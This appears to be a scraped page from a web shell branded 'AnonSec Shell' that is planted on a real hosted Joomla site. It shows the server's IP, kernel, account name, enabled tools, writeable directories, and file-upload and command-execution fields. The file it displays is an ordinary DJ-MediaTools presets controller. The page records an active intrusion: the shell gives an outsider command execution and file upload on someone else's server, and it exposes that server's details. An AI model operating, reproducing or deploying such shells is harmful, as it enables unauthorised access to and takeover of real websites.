AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_djmediatools/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_djmediatools/controllers/presets.php
<?php
/**
 * @version $Id: category.php 99 2017-08-04 10:55:30Z szymon $
 * @package DJ-MediaTools
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 * DJ-MediaTools is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-MediaTools is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-MediaTools. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controllerform');

class DJMediatoolsControllerPresets extends JControllerForm {

	function save($key = NULL, $urlVar = NULL) {
		
		$task = $this->getTask();
		$app = JFactory::getApplication();
		$jform	= $app->input->get('jform', array(), 'array');

		$name = $app->input->getCmd('preset');
		
		if($task == 'save2copy') {
			$name = $app->input->getCmd('preset_name');
		}
		
		$name = JFile::makeSafe($name);
		
		if (empty($name)) {
			$this->setMessage(JText::_('COM_DJMEDIATOOLS_PRESET_NAME_EMPTY'), 'error');
			$this->setRedirect('index.php?option=com_djmediatools&view=presets');
			return false;
		}
		
		$file = JPath::clean(JPATH_ROOT . '/media/djmediatools/presets/' . $name . '.json');
		
		if (!is_dir(dirname($file))) {
			JFolder::create(dirname($file));
		}
		
		$params = new JRegistry();
		$params->loadObject($jform);
		
		$data = $params->toString();
		
		if (!@JFile::write($file, $data)) {
			$this->setMessage(JText::sprintf('COM_DJMEDIATOOLS_CAN_NOT_WRITE_TO_FILE', $file), 'error');
			$this->setRedirect('index.php?option=com_djmediatools&view=presets');
			return false;
		} 
		
		$this->setMessage(JText::_('COM_DJMEDIATOOLS_PRESET_SAVED'), 'success');
		$this->setRedirect('index.php?option=com_djmediatools&view=presets&preset='.$name);
		
		return true;
	}
	
	function delete() {
		
		$task = $this->getTask();
		$app = JFactory::getApplication();
		
		$name = $app->input->getCmd('preset');
		$name = JFile::makeSafe($name);
		
		if (empty($name)) {
			$this->setMessage(JText::_('COM_DJMEDIATOOLS_PRESET_NAME_EMPTY'), 'error');
			$this->setRedirect('index.php?option=com_djmediatools&view=presets');
			return false;
		}
		
		$file = JPath::clean(JPATH_ROOT . '/media/djmediatools/presets/' . $name . '.json');
		
		if(!JFile::delete($file)) {
			$this->setMessage(JText::sprintf('COM_DJMEDIATOOLS_CAN_NOT_DELETE_FILE', $file), 'error');
			$this->setRedirect('index.php?option=com_djmediatools&view=presets');
			return false;
		}
		
		$this->setMessage(JText::_('COM_DJMEDIATOOLS_PRESET_DELETED'), 'success');
		$this->setRedirect('index.php?option=com_djmediatools&view=presets');
		
		return true;
	}

	function download() {
		$app = JFactory::getApplication();


		$name = $app->input->getCmd('preset');
		$name = JFile::makeSafe($name);

		if (empty($name)) {
			$this->setMessage(JText::_('COM_DJMEDIATOOLS_PRESET_NAME_EMPTY'), 'error');
			$this->setRedirect('index.php?option=com_djmediatools&view=presets');
			return false;
		}

		$file = JPath::clean(JPATH_ROOT . '/media/djmediatools/presets/' . $name . '.json');


		header('Content-disposition: attachment; filename=' . $name . '.json');
		header('Content-type: application/json');
		echo file_get_contents($file);
		exit();
	}

	function import() {
		$app = JFactory::getApplication();

		$fileArr = $app->input->files->get('preset_import');


		if(!isset($fileArr['type']) || $fileArr['type'] !== 'application/json') {
			$this->setMessage(JText::_('COM_DJMEDIATOOLS_IMPORT_INVALID_TYPE'), 'error');
			$this->setRedirect('index.php?option=com_djmediatools&view=presets');
			return false;
		}

		$fileName = explode('.', $fileArr['name']);
		$name = $fileName[0];

		$name = JFile::makeSafe(str_replace(' ', '-', $name));

		$file = JPath::clean(JPATH_ROOT . '/media/djmediatools/presets/' . $name . '.json');

		if(file_exists($file)) {
			$file = JPath::clean(JPATH_ROOT . '/media/djmediatools/presets/' . JFile::makeSafe($name . '-' . date("Y-m-d", time())) . '.json');
		}

		if(!JFile::upload($fileArr['tmp_name'], $file)) {
			$this->setMessage(JText::_('COM_DJMEDIATOOLS_IMPORT_UPLOAD_FAILED'), 'error');
		}else {
			$this->setMessage(JText::_('COM_DJMEDIATOOLS_IMPORT_SUCCESS'), 'success');
		}


		$this->setRedirect('index.php?option=com_djmediatools&view=presets');
		return false;
	}
}

?>

Anon7 - 2022
AnonSec Team